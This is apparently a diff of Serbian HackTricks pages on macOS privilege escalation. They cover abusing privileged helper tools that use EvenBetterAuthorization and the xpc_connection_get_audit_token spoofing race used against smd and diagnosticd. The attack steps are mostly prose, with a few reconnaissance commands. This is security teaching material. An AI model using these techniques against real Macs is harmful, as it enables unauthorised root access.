Postoje različiti opsezi koji ukazuju ko može pristupiti dozvoli. Neki od njih su definisani u [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) (sve ih možete pronaći [ovde](https://www.dssw.co.uk/reference/authorization-rights/)), ali ukratko:
|
||||
|
||||
<table><thead><tr><th width="284.3333333333333">Ime</th><th width="165">Vrednost</th><th>Opis</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Bilo ko</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Niko</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Trenutni korisnik mora biti administrator (unutar admin grupe)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Zatraži od korisnika da se autentifikuje.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Zatraži od korisnika da se autentifikuje. On mora biti administrator (unutar admin grupe)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Specificiraj pravila</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Specificiraj dodatne komentare o dozvoli</td></tr></tbody></table>
|
||||
<table><thead><tr><th width="284.3333333333333">Ime</th><th width="165">Vrednost</th><th>Opis</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>Bilo ko</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>Niko</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>Trenutni korisnik mora biti administrator (unutar admin grupe)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>Zatraži od korisnika da se autentifikuje.</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>Zatraži od korisnika da se autentifikuje. On mora biti administrator (unutar admin grupe)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>Navedi pravila</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>Navedi dodatne komentare o dozvoli</td></tr></tbody></table>
|
||||
|
||||
### Provera Dozvola
|
||||
|
||||
U `HelperTool/HelperTool.m` funkcija **`readLicenseKeyAuthorization`** proverava da li je pozivaoc ovlašćen da **izvrši takvu metodu** pozivajući funkciju **`checkAuthorization`**. Ova funkcija će proveriti da li **authData** poslat od strane pozivajućeg procesa ima **ispravan format** i zatim će proveriti **šta je potrebno da bi se dobila dozvola** za pozivanje određene metode. Ako sve prođe dobro, **vraćena vrednost `error` će biti `nil`**:
|
||||
U `HelperTool/HelperTool.m` funkcija **`readLicenseKeyAuthorization`** proverava da li je pozivaoc ovlašćen da **izvrši takvu metodu** pozivajući funkciju **`checkAuthorization`**. Ova funkcija će proveriti da li **authData** poslat od strane pozivajućeg procesa ima **ispravan format** i zatim će proveriti **šta je potrebno da se dobije dozvola** za pozivanje određene metode. Ako sve prođe dobro, **vraćena `error` će biti `nil`**:
|
||||
```objectivec
|
||||
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
|
||||
{
|
||||
|
@ -242,7 +242,7 @@ return error;
|
|||
```
|
||||
Imajte na umu da će funkcija `authorizationRightForCommand` samo proveriti prethodno komentarisani objekat `commandInfo` kako bi **proverila zahteve za dobijanje prava** da pozove tu metodu. Zatim će pozvati `AuthorizationCopyRights` da proveri **da li ima prava** da pozove funkciju (imajte na umu da zastave dozvoljavaju interakciju sa korisnikom).
|
||||
|
||||
U ovom slučaju, da bi pozvali funkciju `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` je definisan kao `@kAuthorizationRuleClassAllow`. Dakle, **svako može da je pozove**.
|
||||
U ovom slučaju, da bi se pozvala funkcija `readLicenseKeyAuthorization`, `kCommandKeyAuthRightDefault` je definisan kao `@kAuthorizationRuleClassAllow`. Dakle, **svako može da je pozove**.
|
||||
|
||||
### Informacije o bazi podataka
|
||||
|
||||
|
@ -258,7 +258,7 @@ security authorizationdb read com.apple.safaridriver.allow
|
|||
```
|
||||
### Dozvoljena prava
|
||||
|
||||
Možete pronaći **sve konfiguracije dozvola** [**ovde**](https://www.dssw.co.uk/reference/authorization-rights/), ali kombinacije koje ne zahtevaju korisničku interakciju su:
|
||||
Sve konfiguracije dozvola možete pronaći [ovde](https://www.dssw.co.uk/reference/authorization-rights/), ali kombinacije koje ne zahtevaju korisničku interakciju su:
|
||||
|
||||
1. **'authenticate-user': 'false'**
|
||||
* Ovo je najdirektniji ključ. Ako je postavljen na `false`, označava da korisnik ne mora pružiti autentikaciju da bi dobio ovo pravo.
|
||||
|
@ -268,9 +268,7 @@ Možete pronaći **sve konfiguracije dozvola** [**ovde**](https://www.dssw.co.uk
|
|||
3. **'session-owner': 'true'**
|
||||
* Ako je postavljen na `true`, vlasnik sesije (trenutno prijavljeni korisnik) automatski bi dobio ovo pravo. Ovo može zaobići dodatnu autentikaciju ako je korisnik već prijavljen.
|
||||
4. **'shared': 'true'**
|
||||
* Ovaj ključ ne dodeljuje prava bez autentikacije. Umesto toga, ako je postavljen na `true`, to znači da se jednom kada je pravo autentifikovano, može deliti među više procesa bez potrebe da se svaki ponovo autentifikuje. Međutim, početno dodeljivanje prava i dalje zahteva autentikaciju osim ako se kombinuje sa drugim ključevima poput `'authenticate-user': 'false'`.
|
||||
|
||||
Možete [**koristiti ovaj skript**](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9) da biste dobili zanimljiva prava:
|
||||
* Ovaj ključ ne dodeljuje prava bez autentikacije. Umesto toga, ako je postavljen na `true`, to znači da se jednom kada je pravo autentifikovano, može deliti među više procesa bez potrebe da se svaki ponovo autentifikuje. Međutim, početno dodeljivanje prava i dalje bi zahtevalo autentikaciju osim ako nije kombinovano sa drugim ključevima poput `'authenticate-user': 'false'`.
|
||||
```bash
|
||||
Rights with 'authenticate-user': 'false':
|
||||
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
|
||||
|
@ -281,27 +279,27 @@ com-apple-aosnotification-findmymac-remove, com-apple-diskmanagement-reservekek,
|
|||
Rights with 'session-owner': 'true':
|
||||
authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-session-user, com-apple-safari-allow-apple-events-to-run-javascript, com-apple-safari-allow-javascript-in-smart-search-field, com-apple-safari-allow-unsigned-app-extensions, com-apple-safari-install-ephemeral-extensions, com-apple-safari-show-credit-card-numbers, com-apple-safari-show-passwords, com-apple-icloud-passwordreset, com-apple-icloud-passwordreset, is-session-owner, system-identity-write-self, use-login-window-ui
|
||||
```
|
||||
## Reverziranje autorizacije
|
||||
## Reversiranje autorizacije
|
||||
|
||||
### Provera da li se koristi EvenBetterAuthorization
|
||||
|
||||
Ako pronađete funkciju: **`[HelperTool checkAuthorization:command:]`**, verovatno se proces koristi prethodno pomenutom šemom za autorizaciju:
|
||||
Ako pronađete funkciju: **`[HelperTool checkAuthorization:command:]`** verovatno je da proces koristi prethodno pomenutu šemu za autorizaciju:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ako ova funkcija poziva funkcije poput `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, koristi [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
Zatim, ako ova funkcija poziva funkcije poput `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree`, koristi [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154).
|
||||
|
||||
Proverite **`/var/db/auth.db`** da biste videli da li je moguće dobiti dozvole za pozivanje neke privilegovane radnje bez interakcije korisnika.
|
||||
|
||||
### Komunikacija putem protokola
|
||||
|
||||
Zatim, morate pronaći šemu protokola kako biste mogli uspostaviti komunikaciju sa XPC servisom.
|
||||
Zatim, trebate pronaći šemu protokola kako biste mogli uspostaviti komunikaciju sa XPC servisom.
|
||||
|
||||
Funkcija **`shouldAcceptNewConnection`** ukazuje na izvođenje protokola:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
U ovom slučaju, imamo isto kao u EvenBetterAuthorizationSample, [**proverite ovu liniju**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
U ovom slučaju, imamo isto kao i u EvenBetterAuthorizationSample, [**proverite ovu liniju**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
|
||||
|
||||
Znajući ime korišćenog protokola, moguće je **izbaciti definiciju njegovog zaglavlja** sa:
|
||||
```bash
|
||||
|
@ -317,11 +315,11 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
|
|||
@end
|
||||
[...]
|
||||
```
|
||||
Na kraju, samo treba da znamo **ime izložene Mach usluge** kako bismo uspostavili komunikaciju sa njom. Postoje nekoliko načina da to otkrijemo:
|
||||
Na kraju, samo treba da znamo **ime izložene Mach usluge** kako bismo uspostavili komunikaciju sa njom. Postoji nekoliko načina da to otkrijemo:
|
||||
|
||||
* U **`[HelperTool init()]`** gde možete videti Mach uslugu koja se koristi:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* U launchd plist-u:
|
||||
```xml
|
||||
|
@ -341,7 +339,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
|
|||
U ovom primeru je kreirano:
|
||||
|
||||
* Definicija protokola sa funkcijama
|
||||
* Prazna autentifikacija koja se koristi za zahtevanje pristupa
|
||||
* Prazna autentifikacija koja se koristi za traženje pristupa
|
||||
* Povezivanje sa XPC servisom
|
||||
* Poziv funkcije ako je povezivanje bilo uspešno
|
||||
```objectivec
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Napad na macOS xpc\_connection\_get\_audit\_token
|
||||
# Napad na xpc\_connection\_get\_audit\_token na macOS-u
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -6,7 +6,7 @@
|
|||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
|
||||
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -25,7 +25,7 @@ Ako ne znate šta su Mach poruke, počnite sa proverom ove stranice:
|
|||
{% endcontent-ref %}
|
||||
|
||||
Za sada zapamtite da ([definicija sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
|
||||
Mach poruke se šalju preko _mach porta_, koji je **kanal komunikacije sa jednim primaocem, više pošiljalaca** ugrađen u mach kernel. **Više procesa može slati poruke** ka mach portu, ali u svakom trenutku **samo jedan proces može čitati iz njega**. Kao i file deskriptori i soketi, mach portovi se dodeljuju i upravljaju od strane kernela, a procesi vide samo celobrojne vrednosti koje mogu koristiti da označe kernelu koji od njihovih mach portova žele da koriste.
|
||||
Mach poruke se šalju preko _mach porta_, koji je **kanal komunikacije sa jednim primaocem, više pošiljalaca** ugrađen u mach kernel. **Više procesa može slati poruke** ka mach portu, ali u svakom trenutku **samo jedan proces može čitati iz njega**. Kao i sa deskriptorima fajlova i soketima, mach portovi se dodeljuju i upravljaju od strane kernela, a procesi vide samo celobrojne vrednosti koje mogu koristiti da označe kernelu koji od njihovih mach portova žele da koriste.
|
||||
|
||||
## XPC Veza
|
||||
|
||||
|
@ -37,7 +37,7 @@ Ako ne znate kako se uspostavlja XPC veza, proverite:
|
|||
|
||||
## Sumiranje ranjivosti
|
||||
|
||||
Ono što je za vas zanimljivo da znate je da je **XPC-ova apstrakcija jedan-na-jedan veza**, ali se zasniva na tehnologiji koja **može imati više pošiljalaca, tako da:**
|
||||
Ono što je važno znati je da je **XPC-ova apstrakcija jedan-na-jedan veza**, ali je zasnovana na tehnologiji koja **može imati više pošiljalaca, tako da:**
|
||||
|
||||
* Mach portovi su jedan primaoc, **više pošiljalaca**.
|
||||
* Audit token XPC veze je audit token **kopiran iz poslednje primljene poruke**.
|
||||
|
@ -45,26 +45,26 @@ Ono što je za vas zanimljivo da znate je da je **XPC-ova apstrakcija jedan-na-j
|
|||
|
||||
Iako prethodna situacija zvuči obećavajuće, postoje neki scenariji gde to neće izazvati probleme ([sa ovog linka](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
|
||||
|
||||
* Audit tokeni se često koriste za proveru autorizacije kako bi se odlučilo da li prihvatiti vezu. Pošto se ovo dešava korišćenjem poruke ka servis portu, **veza još uvek nije uspostavljena**. Više poruka na ovom portu će biti tretirano kao dodatni zahtevi za vezu. Dakle, bilo kakve **provere pre prihvatanja veze nisu ranjive** (ovo takođe znači da je unutar `-listener:shouldAcceptNewConnection:` audit token siguran). Zato **tražimo XPC veze koje proveravaju specifične akcije**.
|
||||
* Audit tokeni se često koriste za proveru autorizacije kako bi se odlučilo da li prihvatiti vezu. Pošto se ovo dešava korišćenjem poruke ka servisnom portu, **veza još uvek nije uspostavljena**. Više poruka na ovom portu će biti tretirano kao dodatni zahtevi za vezu. Dakle, bilo kakve **provere pre prihvatanja veze nisu ranjive** (ovo takođe znači da je unutar `-listener:shouldAcceptNewConnection:` audit token siguran). Zato **tražimo XPC veze koje proveravaju specifične akcije**.
|
||||
* XPC rukovaoci događajima se obrađuju sinhrono. Ovo znači da rukovalac događajem za jednu poruku mora biti završen pre nego što se pozove za sledeću, čak i na konkurentnim redovima za raspodelu. Dakle, unutar **XPC rukovaoca događajima audit token ne može biti prepisan** od strane drugih normalnih (ne-odgovornih!) poruka.
|
||||
|
||||
Dva različita načina na koje ovo može biti iskorišćeno:
|
||||
|
||||
1. Varijanta 1:
|
||||
* **Eksploit** se **povezuje** sa servisom **A** i servisom **B**
|
||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu **A koju korisnik ne može**
|
||||
* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovalaca događajima** za vezu u **`dispatch_async`**.
|
||||
* Tako da **različita** poruka može **prepisati Audit Token** jer se šalje asinhrono izvan rukovaoca događajima.
|
||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu A koju korisnik ne može
|
||||
* Servis **A** poziva **`xpc_connection_get_audit_token`** dok _**nije**_ unutar **rukovodioca događajem** za vezu u **`dispatch_async`**.
|
||||
* Tako da **različita** poruka može **prepisati Audit Token** jer se šalje asinhrono izvan rukovaoca događajem.
|
||||
* Eksploit prosleđuje **servisu B SEND pravo ka servisu A**.
|
||||
* Dakle, svc **B** će zapravo **slati** **poruke** servisu **A**.
|
||||
* **Eksploit** pokušava da **pozove privilegovanu akciju.** U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup da pozove privilegovanu akciju).
|
||||
* **Eksploit** pokušava da **pozove privilegovanu akciju.** U RC svc **A** **proverava** autorizaciju ove **akcije** dok je **svc B prepisao Audit token** (dajući eksploatatoru pristup pozivanju privilegovane akcije).
|
||||
2. Varijanta 2:
|
||||
* Servis **B** može pozvati **privilegovanu funkcionalnost** u servisu A koju korisnik ne može
|
||||
* Eksploit se povezuje sa **servisom A** koji **šalje** eksploatatoru poruku očekujući odgovor na određenom **replay** **portu**.
|
||||
* Eksploit šalje servisu **B poruku prosleđujući **taj odgovor port**.
|
||||
* Kada servis **B odgovori**, on šalje poruku servisu **A**, **dok** **eksploit** šalje drugu **poruku servisu A** pokušavajući **dostići privilegovanu funkcionalnost** i očekujući da će odgovor od servisa B prepisati Audit token u savršenom trenutku (Trka stanja).
|
||||
* Eksploit šalje **servisu** B poruku prosleđujući **taj odgovor port**.
|
||||
* Kada servis **B odgovori**, **šalje poruku servisu A**, **dok** **eksploit** šalje drugu **poruku servisu A** pokušavajući **dostići privilegovanu funkcionalnost** i očekujući da će odgovor od servisa B prepisati Audit token u savršenom trenutku (Trka stanja).
|
||||
|
||||
## Varijanta 1: pozivanje xpc\_connection\_get\_audit\_token izvan rukovaoca događajima <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
## Varijanta 1: pozivanje xpc\_connection\_get\_audit\_token van rukovaoca događajem <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
|
||||
|
||||
Scenario:
|
||||
|
||||
|
@ -74,21 +74,21 @@ Scenario:
|
|||
* Za ovu proveru autorizacije, **`A`** asinhrono dobija audit token, na primer pozivajući `xpc_connection_get_audit_token` iz **`dispatch_async`**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
U ovom slučaju napadač može pokrenuti **Trku stanja** praveći **eksploit** koji **traži od A da izvrši akciju** više puta dok **B šalje poruke ka `A`**. Kada RC bude **uspešan**, audit token **B** će biti kopiran u memoriju **dok** zahtev našeg **eksploita** bude **obrađen** od strane A, dajući mu **pristup privilegovanoj akciji koju je mogao zatražiti samo B**.
|
||||
U ovom slučaju napadač bi mogao pokrenuti **Trku stanja** praveći **eksploit** koji **traži od A da izvrši akciju** više puta dok **B šalje poruke ka `A`**. Kada RC bude **uspešan**, audit token **B** će biti kopiran u memoriju **dok** zahtev našeg **eksploita** bude **obrađen** od strane A, dajući mu **pristup privilegovanoj akciji koju je mogao zatražiti samo B**.
|
||||
{% endhint %}
|
||||
|
||||
Ovo se desilo sa **`A`** kao `smd` i **`B`** kao `diagnosticd`. Funkcija [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) iz smb može se koristiti za instaliranje novog privilegovanog pomoćnog alata (kao **root**). Ako **proces koji se izvršava kao root kontaktira** **smd**, neće se vršiti dodatne provere.
|
||||
Ovo se desilo sa **`A`** kao `smd` i **`B`** kao `diagnosticd`. Funkcija [`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc) iz smb može se koristiti za instaliranje novog privilegovanog pomoćnog alata (kao **root**). Ako **proces koji se izvršava kao root kontaktira** **smd**, neće biti izvršene druge provere.
|
||||
|
||||
Stoga, servis **B** je **`diagnosticd`** jer se izvršava kao **root** i može se koristiti za **monitorisanje** procesa, tako da kada se monitorisanje pokrene, **šaljeće više poruka u sekundi.**
|
||||
|
||||
Za izvođenje napada:
|
||||
|
||||
1. Inicirajte **vezu** sa servisom nazvanim `smd` koristeći standardni XPC protokol.
|
||||
2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto kreiranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **prava slanja** povezanog sa vezom `smd`.
|
||||
3. Kao rezultat, XPC poruke mogu biti prosleđene `diagnosticd`, ali odgovori od `diagnosticd` se preusmeravaju ka `smd`. Za `smd`, izgleda kao da poruke od korisnika i `diagnosticd` potiču iz iste veze.
|
||||
2. Formirajte sekundarnu **vezu** sa `diagnosticd`. Suprotno normalnom postupku, umesto kreiranja i slanja dva nova mach porta, pravo slanja klijentskog porta se zamenjuje sa duplikatom **send prava** povezanog sa vezom `smd`.
|
||||
3. Kao rezultat, XPC poruke mogu biti prosleđene `diagnosticd`, ali odgovori od `diagnosticd` se preusmeravaju na `smd`. Za `smd`, izgleda kao da poruke od korisnika i `diagnosticd` potiču iz iste veze.
|
||||
|
||||
![Slika koja prikazuje proces eksploatacije](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
|
||||
4. Sledeći korak uključuje instrukciju `diagnosticd`-u da pokrene praćenje odabranog procesa (potencijalno korisnikovog). Istovremeno, šalje se poplava rutinskih poruka 1004 ka `smd`. Cilj je instalirati alat sa povišenim privilegijama.
|
||||
4. Sledeći korak uključuje instrukciju `diagnosticd`-u da započne praćenje odabranog procesa (potencijalno korisnikovog). Istovremeno, šalje se poplava rutinskih poruka 1004 ka `smd`. Cilj je instalirati alat sa povišenim privilegijama.
|
||||
5. Ova akcija pokreće trku stanja unutar funkcije `handle_bless`. Vreme je ključno: poziv funkcije `xpc_connection_get_pid` mora vratiti PID korisnikovog procesa (jer privilegovani alat se nalazi u korisnikovom paketu aplikacije). Međutim, funkcija `xpc_connection_get_audit_token`, posebno unutar podrutine `connection_is_authorized`, mora se odnositi na audit token koji pripada `diagnosticd`-u.
|
||||
|
||||
## Varijanta 2: prosleđivanje odgovora
|
||||
|
@ -98,38 +98,38 @@ U XPC (Cross-Process Communication) okruženju, iako rukovaoci događajima ne iz
|
|||
1. **`xpc_connection_send_message_with_reply`**: Ovde se XPC poruka prima i obrađuje na određenom redu.
|
||||
2. **`xpc_connection_send_message_with_reply_sync`**: Nasuprot tome, u ovom metodu, XPC poruka se prima i obrađuje na trenutnom redu dispečovanja.
|
||||
|
||||
Ova razlika je ključna jer omogućava mogućnost **parsiranja odgovarajućih paketa istovremeno sa izvršavanjem rukovaoca XPC događajem**. Važno je napomenuti da, iako `_xpc_connection_set_creds` implementira zaključavanje radi zaštite od delimičnog prepisivanja audit tokena, ova zaštita se ne proširuje na ceo objekat veze. Kao rezultat, stvara se ranjivost gde audit token može biti zamenjen tokom intervala između parsiranja paketa i izvršavanja njegovog rukovaoca događaja.
|
||||
Ova razlika je ključna jer omogućava mogućnost **parsiranja odgovarajućih paketa istovremeno sa izvršavanjem rukovaoca događajima XPC**. Važno je napomenuti da, iako `_xpc_connection_set_creds` implementira zaključavanje radi zaštite od delimičnog prepisivanja audit tokena, ova zaštita se ne proširuje na ceo objekat veze. Kao rezultat, stvara se ranjivost gde audit token može biti zamenjen tokom intervala između parsiranja paketa i izvršavanja njegovog rukovaoca događajima.
|
||||
|
||||
Da bi se iskoristila ova ranjivost, potrebno je sledeće podešavanje:
|
||||
|
||||
* Dve mach usluge, nazvane **`A`** i **`B`**, obe koje mogu uspostaviti vezu.
|
||||
* Usluga **`A`** treba da uključi proveru autorizacije za određenu akciju koju samo **`B`** može izvršiti (aplikacija korisnika ne može).
|
||||
* Usluga **`A`** treba da pošalje poruku koja očekuje odgovor.
|
||||
* Dva mach servisa, nazvana **`A`** i **`B`**, oba koja mogu uspostaviti vezu.
|
||||
* Servis **`A`** treba da uključi proveru autorizacije za određenu akciju koju samo **`B`** može izvršiti (aplikacija korisnika ne može).
|
||||
* Servis **`A`** treba da pošalje poruku koja očekuje odgovor.
|
||||
* Korisnik može poslati poruku **`B`**-u na koju će odgovoriti.
|
||||
|
||||
Proces iskorišćavanja uključuje sledeće korake:
|
||||
|
||||
1. Sačekati da usluga **`A`** pošalje poruku koja očekuje odgovor.
|
||||
2. Umesto direktnog odgovora **`A`**, preusmeriti port za odgovor i koristiti ga za slanje poruke usluzi **`B`**.
|
||||
1. Sačekati da servis **`A`** pošalje poruku koja očekuje odgovor.
|
||||
2. Umesto direktnog odgovora **`A`**, preusmeriti port za odgovor i koristiti ga za slanje poruke servisu **`B`**.
|
||||
3. Zatim, poslati poruku koja uključuje zabranjenu akciju, sa očekivanjem da će biti obrađena istovremeno sa odgovorom od **`B`**.
|
||||
|
||||
Ispod je vizuelna reprezentacija opisanog scenarija napada:
|
||||
|
||||
!\[https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png]\(../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
|
||||
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
## Problemi sa otkrivanjem
|
||||
|
||||
* **Teškoće u Pronalaženju Instanci**: Pretraga korišćenja `xpc_connection_get_audit_token` bila je izazovna, kako statički tako i dinamički.
|
||||
* **Teškoće u Pronalaženju Instanci**: Pretraga instanci korišćenja `xpc_connection_get_audit_token` bila je izazovna, kako statički tako i dinamički.
|
||||
* **Metodologija**: Frida je korišćena za hakovanje funkcije `xpc_connection_get_audit_token`, filtrirajući pozive koji ne potiču od rukovaoca događajima. Međutim, ovaj metod je bio ograničen na hakovan proces i zahtevao je aktivnu upotrebu.
|
||||
* **Alati za Analizu**: Alati poput IDA/Ghidra korišćeni su za ispitivanje dostupnih mach usluga, ali je proces bio dugotrajan, komplikovan pozivima koji uključuju dyld deljeni keš.
|
||||
* **Ograničenja Skriptovanja**: Pokušaji skriptovanja analize poziva `xpc_connection_get_audit_token` iz `dispatch_async` blokova bili su ometeni složenostima u parsiranju blokova i interakcijama sa dyld deljenim kešom.
|
||||
* **Alati za Analizu**: Alati poput IDA/Ghidra korišćeni su za ispitivanje dostupnih mach servisa, ali je proces bio dugotrajan, otežan pozivima koji uključuju dyld deljeni keš.
|
||||
* **Ograničenja Skriptovanja**: Pokušaji skriptovanja analize poziva `xpc_connection_get_audit_token` iz `dispatch_async` blokova bili su ometani složenostima u parsiranju blokova i interakcijama sa dyld deljenim kešom.
|
||||
|
||||
## Popravka <a href="#the-fix" id="the-fix"></a>
|
||||
|
||||
* **Prijavljene Probleme**: Izveštaj je dostavljen Apple-u detaljno opisujući opšte i specifične probleme pronađene unutar `smd`.
|
||||
* **Odgovor Apple-a**: Apple je rešio problem u `smd` zamenivši `xpc_connection_get_audit_token` sa `xpc_dictionary_get_audit_token`.
|
||||
* **Priroda Popravke**: Funkcija `xpc_dictionary_get_audit_token` smatra se sigurnom jer direktno dobavlja audit token iz mach poruke povezane sa primljenom XPC porukom. Međutim, nije deo javnog API-ja, slično kao `xpc_connection_get_audit_token`.
|
||||
* **Odsustvo Šire Popravke**: Nije jasno zašto Apple nije implementirao sveobuhvatniju popravku, poput odbacivanja poruka koje se ne podudaraju sa sačuvanim audit tokenom veze. Moguće je da je faktor mogućnost legitimnih promena audit tokena u određenim scenarijima (npr. korišćenje `setuid`).
|
||||
* **Odgovor Apple-a**: Apple je adresirao problem u `smd` zamenivši `xpc_connection_get_audit_token` sa `xpc_dictionary_get_audit_token`.
|
||||
* **Priroda Popravke**: Funkcija `xpc_dictionary_get_audit_token` smatra se sigurnom jer direktno dobavlja audit token iz mach poruke povezane sa primljenom XPC porukom. Međutim, nije deo javnog API-ja, slično kao i `xpc_connection_get_audit_token`.
|
||||
* **Odsustvo Šire Popravke**: Ostaje nejasno zašto Apple nije implementirao sveobuhvatniju popravku, poput odbacivanja poruka koje se ne podudaraju sa sačuvanim audit tokenom veze. Moguće je da je faktor mogućnost legitimnih promena audit tokena u određenim scenarijima (npr. korišćenje `setuid`).
|
||||
* **Trenutni Status**: Problem i dalje postoji u iOS 17 i macOS 14, predstavljajući izazov za one koji pokušavaju da ga identifikuju i razumeju.
|
||||
|
|
|
@ -4,9 +4,9 @@
|
|||
|
||||
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Drugi načini podrške HackTricks-u:
|
||||
Drugi načini da podržite HackTricks:
|
||||
|
||||
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)!
|
||||
